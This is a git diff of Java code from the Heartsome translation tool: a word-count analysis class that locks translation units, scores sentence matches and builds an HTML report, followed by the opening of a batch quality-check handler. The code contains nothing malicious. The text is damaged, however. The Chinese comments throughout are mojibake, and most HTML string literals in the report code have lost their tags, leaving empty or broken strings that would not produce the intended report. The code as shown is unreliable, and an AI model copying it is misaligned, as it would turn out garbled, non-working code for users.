首先,判断当å‰æ‰€å¤„ç†çš„文件是å¦åˆå¹¶æ‰“å¼€ + if (model.isMultiFile()) { + if (needLockRowIdList.size() <= 0) { + return; + } + + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + IEditorInput input = new FileEditorInput(model.getMultiTempIFile()); + IEditorReference[] reference = window.getActivePage().findEditors(input,XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + nattble = (XLIFFEditorImplWithNatTable) reference[0].getEditor(true); + XLFHandler thisHandler = nattble.getXLFHandler(); + thisHandler.lockFaTU(needLockRowIdList); + nattble.redraw(); + } + }); + }else { + //针对已ç»æ‰“开的文件进行é”定 + if (needLockRowIdList.size() <= 0) { + return; + } + + final Map> rowIdMap = RowIdUtil.groupRowIdByFileName(needLockRowIdList); + for(final IFile iFile : model.getAnalysisIFileList() ){ + isOpened = false; + final String filePath = iFile.getLocation().toOSString(); + + if (rowIdMap.get(filePath) == null || rowIdMap.get(filePath).size() <= 0) { + continue; + } + Display.getDefault().syncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench() + .getActiveWorkbenchWindow(); + IEditorInput input = new FileEditorInput(iFile); + IEditorReference[] reference = window.getActivePage() + .findEditors(input,XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + if (reference.length > 0) { + isOpened = true; + nattble = (XLIFFEditorImplWithNatTable) reference[0] + .getEditor(true); + XLFHandler thisHandler = nattble.getXLFHandler(); + thisHandler.lockFaTU(rowIdMap.get(filePath)); + nattble.redraw(); + } + } + }); + if (!isOpened) { + for(String rowId : rowIdMap.get(filePath)){ + handler.lockedTU(rowId); + } + } + } + } + } + + /** + * 检查两个å¥å­æ˜¯å¦ç†æƒ³åŒ¹é…,如果ä¸æ˜¯ç†æƒ³åŒ¹é…,返回 false + * @return + */ + private static boolean checkIsideal(String x, String y, int newMatch){ + // 求匹é…的算法,必须è¦åŽ»æŽ‰é¦–尾的空格。 + x = x.trim(); + y = y.trim(); + // x æ¢æˆçŸ­å¥ï¼Œyå˜æˆé•¿å¥ + String temp = ""; + if (x.length() > y.length()) { + temp = x; + x = y; + y = temp; + } + int maxLength = y.length(); + if (maxLength == 0) { + return false; + } + if ((100 * x.length() / maxLength) < newMatch) { + return false; + } + // 如果最大长度å°äºŽ 10 ,那么 MatchQuality 类的所耗时间并ä¸é•¿ï¼Œä¸éœ€è¦æ±‚ 字符相似度 +// if (maxLength < 10) { +// return true; +// } + + // 下é¢æ˜¯åˆ‡æ®µç†æƒ³åŒ¹é… + Map xMap = new HashMap(); + for(char _char : x.toCharArray()){ + if (xMap.containsKey(_char)) { + xMap.put(_char, xMap.get(_char) + 1); + }else { + xMap.put(_char, 1); + } + } + + int repeatSum = 0; + for (char _char : y.toCharArray()) { + if (xMap.containsKey(_char)) { + if (xMap.get(_char) <= 1) { + xMap.remove(_char); + }else { + xMap.put(_char, xMap.get(_char) - 1); + } + repeatSum ++; + } + } + int idealMath = 100*repeatSum / maxLength; + if (idealMath < newMatch) { + return false; + } + return true; + } + + + +//-------------------------------------------------------------------------------------------// +//---------------------------------下é¢çš„代ç ä¸»è¦æ˜¯æŠ¥è¡¨éƒ¨ä»½---------------------------------------// +//-------------------------------------------------------------------------------------------// + + /** + * 输出字数统计结果到结果窗体中 + * @param WordsFAResultMap + */ + public void printWordsFAReslut() { + String htmlPath = createFAResultHtml(); + try { + model.getAnalysisIFileList().get(0).getProject().getFolder("Intermediate").getFolder("Report").refreshLocal(IResource.DEPTH_INFINITE, null); + } catch (CoreException e1) { + e1.printStackTrace(); + } + + final FileEditorInput input = new FileEditorInput(ResourceUtils.fileToIFile(htmlPath)); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + try { + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().openEditor(input, QAConstant.FA_HtmlBrowserEditor, true); + } catch (PartInitException e) { + logger.error(Messages.getString("qa.fileAnalysis.WordsFA.log5"), e); + e.printStackTrace(); + } + } + }); + } + + /** + * 生æˆå­—数分æžç»“æžœhtml文件 + * @return html文件的路径 + */ + public String createFAResultHtml() { + allFolderList = new LinkedList(); + Date createDate = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String createTime = formatter.format(createDate); + formatter = new SimpleDateFormat("yyyyMMdd-HHmmss"); + String htmlNameTime = formatter.format(createDate); + + IProject curProject = model.getAnalysisIFileList().get(0).getProject(); + String htmlName = "WordLog" + htmlNameTime + ".html"; + String htmlPath = curProject.getLocation().append("Intermediate").append("Report").append(htmlName).toOSString(); + + File htmlFile = new File(htmlPath); + if (!htmlFile.getParentFile().exists()) { + htmlFile.getParentFile().mkdirs(); + } + + FileOutputStream output; + try { + output = new FileOutputStream(htmlPath); + output.write(QAConstant.FA_HtmlDoctype.getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + + String headerNode = QAConstant.FA_htmlHeader; + headerNode = headerNode.replace("###Title###", Messages.getString("qa.fileAnalysis.WordsFA.name1")); + + output.write(headerNode.getBytes("UTF-8")); + output.write("\t\n".getBytes("UTF-8")); + output.write(("

    "+Messages.getString("qa.all.fa.WordsFA")+"

    ").getBytes("UTF-8")); + + // ----------------<<<<<\n".getBytes("UTF-8")); + output.write("\t\t\n".getBytes("UTF-8")); + + // 记忆库 + String title = Messages.getString("qa.fa.info.tm"); + ProjectConfiger projectConfiger = ProjectConfigerFactory.getProjectConfiger(curProject); + List tmBeanList = projectConfiger.getAllTmDbs(); + StringBuffer tmInfoSB = new StringBuffer(); + if (tmBeanList.size() > 0) { + for(DatabaseModelBean bean : tmBeanList){ + tmInfoSB.append("\t\t\t
    "); + String dbType = bean.getDbType(); + if("MySQL 5.x".equals(dbType)){ + dbType = "MySQL"; + } else if ("MsSQL2005".equals(dbType)){ + dbType = "SQL Server"; + } + + tmInfoSB.append(dbType); + String location = ""; + if ("Internal DB".equals(dbType) || "SQLite".equals(dbType)) { + location = bean.getItlDBLocation(); + }else { + location = bean.getHost() + ":" + bean.getPort(); + if (":".equals(location)) { + location = ""; + } + } + if (location != null && !"".equals(location.trim()) && !" : ".equals(location)) { + tmInfoSB.append(" ( " + location + " ) "); + } + tmInfoSB.append(": "); + tmInfoSB.append(MessageFormat.format("{0}" + bean.getDbName() + "{1}", + new Object[]{bean.isDefault() ? "" : "", bean.isDefault() ? "" : ""})); + tmInfoSB.append("
    \n"); + } + }else { + tmInfoSB.append("\t\t\t
    "); + tmInfoSB.append("N/A"); + tmInfoSB.append("
    \n"); + } + + String infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", tmInfoSB.toString()); + output.write(infoStr.getBytes("UTF-8")); + + // 最底匹é…率 + title = Messages.getString("qa.fa.info.newWordMatch"); + String content = newWordsMaxMatchRate + "%"; + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", content); + output.write(infoStr.getBytes("UTF-8")); + + // 分æžæ–‡ä»¶æ€»æ•° + title = Messages.getString("qa.fa.info.fileSum"); + content = "" + model.getSubFileNum(); + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", content); + output.write(infoStr.getBytes("UTF-8")); + + // 分æžå¤±è´¥æ–‡ä»¶ + title = Messages.getString("qa.fa.info.errorFiles"); + StringBuffer errorFileSB = new StringBuffer(); + errorFileSB.append("\t\t\t
    "); + errorFileSB.append(model.getErrorIFileList().size()); + errorFileSB.append("
    "); + for(IFile iFile : model.getErrorIFileList()){ + errorFileSB.append("\t\t\t
    "); + errorFileSB.append(iFile.getFullPath().toOSString()); + errorFileSB.append("
    "); + } + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", errorFileSB.toString()); + output.write(infoStr.getBytes("UTF-8")); + + // 报告生æˆæ—¶é—´ + title = Messages.getString("qa.fa.info.createTime"); + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", createTime); + output.write(infoStr.getBytes("UTF-8")); + output.write("

    \n".getBytes("UTF-8")); + // ---------------->>>>>>end-- 报表信æ¯æ示部分结æŸ--------------------- + + + int paddLeft = 6; + String folderId = curProject.getFullPath().toOSString(); + getAllFolder(curProject, allFolderList); + // å‘所有的文件夹传值 + setDataToFolder(curProject); + // 首先写下项目 + WordsFAResult proFaResult = WordsFAResultMap.get(curProject.getLocation().toOSString()); + + // ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼æ•°æ®åº“匹é…率区间--------------------- + output.write(("\t\t
    " + + Messages.getString("qa.fileAnalysis.WordsFA.wordsFA") + "
    ").getBytes("UTF-8")); + StringBuffer exterFAdata = new StringBuffer(); + + //"100-101:0.5;89-99:0.4" + String[] equivArray = equivStr.split(";"); + + int length = equivArray.length; + // 是å¦æœ‰ ä¸Šä¸‹æ–‡åŒ¹é… + boolean hasExter101 = equivStr.indexOf("external101") != -1; + int interMathNum = 0; + if (interRepeat && !interMatch) { + interMathNum = 1; + }else if(interRepeat && interMatch) { + interMathNum = length - (hasExter101 ? 2 : 1); + } + int columLength = length - 1 + interMathNum + 3 + 4; //è¦æ˜¾ç¤ºåˆ—的总数(文件列是普通列的三å€ï¼‰ + float width = (float)100 / columLength; + + //开始创建表头 + exterFAdata.append("\t \n"); + // 表头 + exterFAdata.append("\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + if (interRepeat) { + exterFAdata.append("\t\t\t\n"); + } + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\n"); + + exterFAdata.append("\t\t\n"); + + //这是创建显示结果的外部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "headerTd"; + if (QAConstant._External101.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + }else if (QAConstant._External100.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + }else if (!QAConstant._InternalRepeat.equals(matchPair)) { + matchPair = matchPair.substring(0, matchPair.indexOf("-")) + "%" + matchPair.substring(matchPair.indexOf("-"), matchPair.length()) + "%"; + exterFAdata.append("\t\t\t\n"); + } + } + //这是创建显示结果的内部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "headerTd"; + if (interRepeat && QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + }else if (interMatch && matchPair.indexOf("external") == -1) { + matchPair = matchPair.substring(0, matchPair.indexOf("-")) + "%" + matchPair.substring(matchPair.indexOf("-"), matchPair.length()) + "%"; + exterFAdata.append("\t\t\t\n"); + } + } + exterFAdata.append("\t\t\n"); + + // 首先写下项目 + exterFAdata.append("\n" + + "\n"); + + //项目的外部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "folderTd"; + if (QAConstant._External101.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + }else if (QAConstant._External100.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + }else if (!QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + } + } + //项目的内部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "folderTd"; + if (interRepeat && QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t\n"); + }else if (interMatch && matchPair.indexOf("external") == -1) { + exterFAdata.append("\t\t\t\n"); + } + } + //新字数,é”定字数,总字数 + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append("\t\t\t\n"); + exterFAdata.append(""); + + allExterMatchSetInputData(curProject, exterFAdata, paddLeft, equivArray); + + exterFAdata.append("\t
    " + + Messages.getString("qa.all.fa.fileName") + "" + Messages.getString("qa.fileAnalysis.WordsFA.exterMatch") + "" + Messages.getString("qa.fileAnalysis.WordsFA.interMatch") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.newWordsNum") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.equivWordsNum") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.lockWordsNum") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.wordsSum") + "
    " + + Messages.getString("qa.fileAnalysis.WordsFA.contentMath") + ""+ "100%" +""+ matchPair +"" + + Messages.getString("qa.fileAnalysis.WordsFA.contentRepeat") + ""+ matchPair +"
    " + + "- " + curProject.getName() + ""+ proFaResult.getExterMatch("101") +""+ proFaResult.getExterMatch("100") +""+ proFaResult.getExterMatch(matchPair) +""+ + proFaResult.getInterMatch("100-101") +""+ + proFaResult.getInterMatch(matchPair) +""+ proFaResult.getNewWords() +""+ proFaResult.getEqalWords(equivStr) +""+ proFaResult.getLockedWords() +""+ proFaResult.getTotalWords() +"
    \n"); + output.write(exterFAdata.toString().getBytes("UTF-8")); + + // ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼æ–‡æœ¬æ®µ--------------------- + + output.write("
    \n".getBytes("UTF-8")); + output.write(("\t\t\t
    " + + Messages.getString("qa.fileAnalysis.WordsFA.paragraph") + "
    ").getBytes("UTF-8")); + StringBuffer paraFAdata = new StringBuffer(); + int paraTableColumnNum = 4 + 3; + if (interRepeat && !interMatch) { + paraTableColumnNum = 5 + 3; // 文件å列å ä¸¤ä¸ªå•ä½çš„长度 + }else if (interRepeat && interMatch) { + paraTableColumnNum = 6 + 3; + } + float paraCloumnWidth = (float)100 / paraTableColumnNum; + + // 创建一个表 + paraFAdata.append("\t \n"); + // 表头 + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + if (interMatch) { + paraFAdata.append("\t\t\t\n"); + } + paraFAdata.append("\t\t\t\n"); + if (interRepeat) { + paraFAdata.append("\t\t\t\n"); + } + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\n"); + + // 首先写下项目 + paddLeft = 6; + paraFAdata.append("\n" + + "\n" + + "\n" + + (interMatch ? "\n" : "") + + "\n" + + (interRepeat ? "\n" : "") + + "\n" + + "\n" + + "\n" + + ""); + paraSetInputData(curProject, paraFAdata, paddLeft); + + paraFAdata.append("\t
    " + Messages.getString("qa.all.fa.fileName") + + "" + + Messages.getString("qa.fileAnalysis.WordsFA.newPara") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.interMatchPara") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.exterMatchPara") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.interRepeatPara") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.exterRepeatPara") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.lockedPara") + "" + + Messages.getString("qa.fileAnalysis.WordsFA.paraSum") + "
    - " + curProject.getName() + "" + proFaResult.getNewPara() + "" + proFaResult.getInterMatchPara() + "" + proFaResult.getExterMatchPara() + "" + proFaResult.getInterRepeatPara() + "" + proFaResult.getExterRepeatPara() + "" + proFaResult.getLockedPara() + "" + proFaResult.getTotalPara() + "
    \n"); + output.write(paraFAdata.toString().getBytes("UTF-8")); +// output.write("\t\t
    \n".getBytes("UTF-8")); + +/* String htmlPathDiv = "
    " + + Messages.getString("qa.all.fa.fileLocation") + + curProject.getFullPath().append("Report").append(htmlName).toOSString() + "
    "; + output.write(htmlPathDiv.getBytes("UTF-8"));*/ + + output.write("\t\n".getBytes("UTF-8")); + output.write("".getBytes("UTF-8")); + output.close(); + + } catch (FileNotFoundException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.WordsFA.log6"), e); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.WordsFA.log7"), e); + } catch (IOException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.WordsFA.log8"), e); + } + + return htmlPath; + + } + + /** + * 将文件下所有的å­æ–‡ä»¶ï¼ˆç›´æŽ¥æˆ–间接å­æ–‡ä»¶ï¼‰çš„值加到文件夹中 + */ + public void setDataToFolder(IProject curProject) { + // 先存放项目相关的信æ¯ï¼Œæ‰€æœ‰çš„文件都存放在该项目中的,因此直接é历所有的文件 + WordsFAResult proFaResult = new WordsFAResult(); + for (int i = 0; i < model.getAnalysisIFileList().size(); i++) { + IFile ifile = model.getAnalysisIFileList().get(i); + WordsFAResult faResult = WordsFAResultMap.get(ifile.getLocation().toOSString()); + + proFaResult.setNewPara(faResult.getNewPara()); + proFaResult.setInterRepeatPara(faResult.getInterRepeatPara()); + proFaResult.setInterMatchPara(faResult.getInterMatchPara()); + proFaResult.setExterRepeatPara(faResult.getExterRepeatPara()); + proFaResult.setExterMatchPara(faResult.getExterMatchPara()); + proFaResult.setLockedPara(faResult.getLockedPara()); + + proFaResult.setNewWords(faResult.getNewWords()); + proFaResult.setInterMatchWords(faResult.getInterMatchWords()); + proFaResult.setExterMatchWords(faResult.getExterMatchWords()); + proFaResult.setLockedWords(faResult.getLockedWords()); + + proFaResult.setAllExterMatchWords(faResult.getAllExterMatchWords()); + proFaResult.setAllInterMatchWords(faResult.getAllInterMatchWords()); + } + WordsFAResultMap.put(curProject.getLocation().toOSString(), proFaResult); + + // å…ˆé历所有的文件夹 + for (int index = 0; index < allFolderList.size(); index++) { + IContainer container = allFolderList.get(index); + WordsFAResult folderFaResult = new WordsFAResult(); + + // 循环所有的已ç»åˆ†æžå®Œçš„文件 + for (int i = 0; i < model.getAnalysisIFileList().size(); i++) { + IFile ifile = model.getAnalysisIFileList().get(i); + IContainer iFileParent = ifile.getParent(); + while (iFileParent != null) { + if (iFileParent.equals(container)) { + WordsFAResult faResult = WordsFAResultMap.get(ifile.getLocation().toOSString()); + + folderFaResult.setNewPara(faResult.getNewPara()); + folderFaResult.setInterRepeatPara(faResult.getInterRepeatPara()); + folderFaResult.setInterMatchPara(faResult.getInterMatchPara()); + folderFaResult.setExterRepeatPara(faResult.getExterRepeatPara()); + folderFaResult.setExterMatchPara(faResult.getExterMatchPara()); + folderFaResult.setLockedPara(faResult.getLockedPara()); + + folderFaResult.setNewWords(faResult.getNewWords()); + folderFaResult.setInterMatchWords(faResult.getInterMatchWords()); + folderFaResult.setExterMatchWords(faResult.getExterMatchWords()); + folderFaResult.setLockedWords(faResult.getLockedWords()); + + //所有外部匹é…的值 + folderFaResult.setAllExterMatchWords(faResult.getAllExterMatchWords()); + //所有内部匹é…的值 + folderFaResult.setAllInterMatchWords(faResult.getAllInterMatchWords()); + break; + } else { + iFileParent = iFileParent.getParent(); + } + } + } + WordsFAResultMap.put(container.getLocation().toOSString(), folderFaResult); + } + } + + /** + * 创建第一张表的数æ®ï¼Œæ–°å­—数,内部匹é…,外部匹é…,é”定字数的统计 + * @param exterFAdata + */ + public void allExterMatchSetInputData(IContainer curContainer, StringBuffer exterFAdata, int paddLeft, String[] equivArray){ + paddLeft += 10; + int length = equivArray.length; + // 先判断该容器中是å¦æœ‰ç›´æŽ¥å­æ–‡ä»¶ä¸ºæœ¬æ¬¡åˆ†æžæ–‡ä»¶ + if (hasFAIFiles(curContainer)) { + // æ¯ä¸ªæ–‡ä»¶çš„å…·ä½“æ•°æ® + for (int fIndex = 0; fIndex < model.getAnalysisIFileList().size(); fIndex++) { + IFile curIFile = model.getAnalysisIFileList().get(fIndex); + if (curIFile.getParent().equals(curContainer)) { + WordsFAResult faResult = WordsFAResultMap.get(curIFile.getLocation().toOSString()); + + exterFAdata.append("\t\t\n"); + exterFAdata.append("\t\t\t" + + curIFile.getName() + "\n");// 文件å + //创建外部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "fileTd"; + if (QAConstant._External101.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ faResult.getExterMatch("101") +"\n"); + }else if (QAConstant._External100.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ faResult.getExterMatch("100") +"\n"); + }else if (!QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ faResult.getExterMatch(matchPair) +"\n"); + } + } + //创建内部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "fileTd"; + + if (interRepeat && QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ + faResult.getInterMatch("100-101") +"\n"); + }else if (interMatch && matchPair.indexOf("external") == -1) { + exterFAdata.append("\t\t\t"+ + faResult.getInterMatch(matchPair) +"\n"); + } + } + //创建新字数,é”定字数,总字数三列 + exterFAdata.append("\t\t\t"+ faResult.getNewWords() +"\n"); + exterFAdata.append("\t\t\t"+ faResult.getEqalWords(equivStr) +"\n"); + exterFAdata.append("\t\t\t"+ faResult.getLockedWords() +"\n"); + exterFAdata.append("\t\t\t"+ faResult.getTotalWords() +"\n"); + + exterFAdata.append("\t\t\n"); + } + } + } + // é历所有å«æœ‰åˆ†æžæ–‡ä»¶çš„容器,找出当å‰å®¹å™¨çš„å­å®¹å™¨ï¼Œ + for (int index = 0; index < allFolderList.size(); index++) { + IContainer childContainer = allFolderList.get(index); + if (childContainer.getParent().equals(curContainer)) { + WordsFAResult faResult = WordsFAResultMap.get(childContainer.getLocation().toOSString()); + String folderId = childContainer.getFullPath().toOSString(); + exterFAdata.append("\n" + + "" + + "- " + + childContainer.getName() + "\n" ); + //创建外部匹é…部份 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "folderTd"; + + if (QAConstant._External101.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ faResult.getExterMatch("101") +"\n"); + }else if (QAConstant._External100.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ faResult.getExterMatch("100") +"\n"); + // UNDO 这里的这个判断是å¦æ­£ç¡®ï¼Ÿ + }else if (!QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ faResult.getExterMatch(matchPair) +"\n"); + } + } + //创建内部匹é…部 + for (int i = 0; i < length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + String className = "folderTd"; + + if (interRepeat && QAConstant._InternalRepeat.equals(matchPair)) { + exterFAdata.append("\t\t\t"+ + faResult.getInterMatch("100-101") +"\n"); + }else if (interMatch && matchPair.indexOf("external") == -1) { + exterFAdata.append("\t\t\t"+ + faResult.getInterMatch(matchPair) +"\n"); + } + } + //创建新字数,é”定字数,新字数三列 + exterFAdata.append("\t\t\t"+ faResult.getNewWords() +"\n"); + exterFAdata.append("\t\t\t"+ faResult.getEqalWords(equivStr) +"\n"); + exterFAdata.append("\t\t\t"+ faResult.getLockedWords() +"\n"); + exterFAdata.append("\t\t\t"+ faResult.getTotalWords() +"\n"); + + exterFAdata.append("\n"); + allExterMatchSetInputData(childContainer, exterFAdata, paddLeft , equivArray); + } + } + + } + + /** + * 创建第二张表的数æ®ï¼Œå…³äºŽæ–‡æœ¬æ®µçš„统计 + * @param curContainer + * @param paraFAdata + * @param paddLeft ; + */ + public void paraSetInputData(IContainer curContainer, StringBuffer paraFAdata, int paddLeft) { + paddLeft += 10; + // 先判断该容器中是å¦æœ‰ç›´æŽ¥å­æ–‡ä»¶ä¸ºæœ¬æ¬¡åˆ†æžæ–‡ä»¶ + if (hasFAIFiles(curContainer)) { + // æ¯ä¸ªæ–‡ä»¶çš„å…·ä½“æ•°æ® + for (int fIndex = 0; fIndex < model.getAnalysisIFileList().size(); fIndex++) { + IFile curIFile = model.getAnalysisIFileList().get(fIndex); + if (curIFile.getParent().equals(curContainer)) { + WordsFAResult faResult = WordsFAResultMap.get(curIFile.getLocation().toOSString()); + + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t" + curIFile.getName() + "\n");// 文件å + paraFAdata.append("\t\t\t" + faResult.getNewPara() + "\n"); // 新文本段 + if (interMatch) { + paraFAdata.append("\t\t\t" + faResult.getInterMatchPara() + "\n"); // 内部匹é…文本段 + } + paraFAdata.append("\t\t\t" + faResult.getExterMatchPara() + "\n"); // 外部匹é…文本段 + if (interRepeat) { + paraFAdata.append("\t\t\t" + faResult.getInterRepeatPara() + "\n"); // 内部é‡å¤æ–‡æœ¬æ®µ + } + paraFAdata.append("\t\t\t" + faResult.getExterRepeatPara() + "\n"); // 外部é‡å¤æ–‡æœ¬æ®µ + paraFAdata.append("\t\t\t" + faResult.getLockedPara() + "\n"); // é”定文本段 + paraFAdata.append("\t\t\t" + faResult.getTotalPara() + "\n"); // 总段数 + paraFAdata.append("\t\t\n"); + } + } + } + // é历所有å«æœ‰åˆ†æžæ–‡ä»¶çš„容器,找出当å‰å®¹å™¨çš„å­å®¹å™¨ï¼Œ + for (int index = 0; index < allFolderList.size(); index++) { + IContainer childContainer = allFolderList.get(index); + if (childContainer.getParent().equals(curContainer)) { + WordsFAResult faResult = WordsFAResultMap.get(childContainer.getLocation().toOSString()); + String folderId = childContainer.getFullPath().toOSString(); + paraFAdata.append("\n" + + "" + "- " + + childContainer.getName() + "\n" + + "" + faResult.getNewPara() + "\n" + + "" + (interMatch ? faResult.getInterMatchPara() + "\n" + + "" : "") + faResult.getExterMatchPara() + "\n" + + "" + (interRepeat ? faResult.getInterRepeatPara() + "\n" + + "" : "") + faResult.getExterRepeatPara() + "\n" + + "" + faResult.getLockedPara() + "\n" + + "" + faResult.getTotalPara() + "\n" + + "\n"); + paraSetInputData(childContainer, paraFAdata, paddLeft); + } + } + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/BatchQAHandler.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/BatchQAHandler.java new file mode 100644 index 0000000..84db7f3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/handlers/BatchQAHandler.java @@ -0,0 +1,262 @@ +package net.heartsome.cat.ts.ui.qa.handlers; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.QualityAssurance; +import net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.views.QAResultViewPart; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 批é‡æ£€æŸ¥çš„handler + * @author robert 2011-11-09 + */ +public class BatchQAHandler extends AbstractHandler { + private QualityAssurance quality; + private IPreferenceStore preferenceStore; + private QAModel model; + /** é’ˆå¯¹é€‰æ‹©å½“å‰ nattable 编辑器是å¦åˆå¹¶æ‰“å¼€ */ + private boolean isMultiFile; + public final static Logger logger = LoggerFactory.getLogger(BatchQAHandler.class.getName()); + + @SuppressWarnings("unchecked") + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + logger.error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + isMultiFile = false; + SystemResourceUtil.load(); + preferenceStore = Activator.getDefault().getPreferenceStore(); + // UNDO 如果焦点在其他视图上时,获å–的文件错误。 + IFile multiTempIFile = null; + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + final Shell shell = window.getShell(); +// ISelection currentSelection = HandlerUtil.getCurrentSelection(event); + IViewPart viewPart = 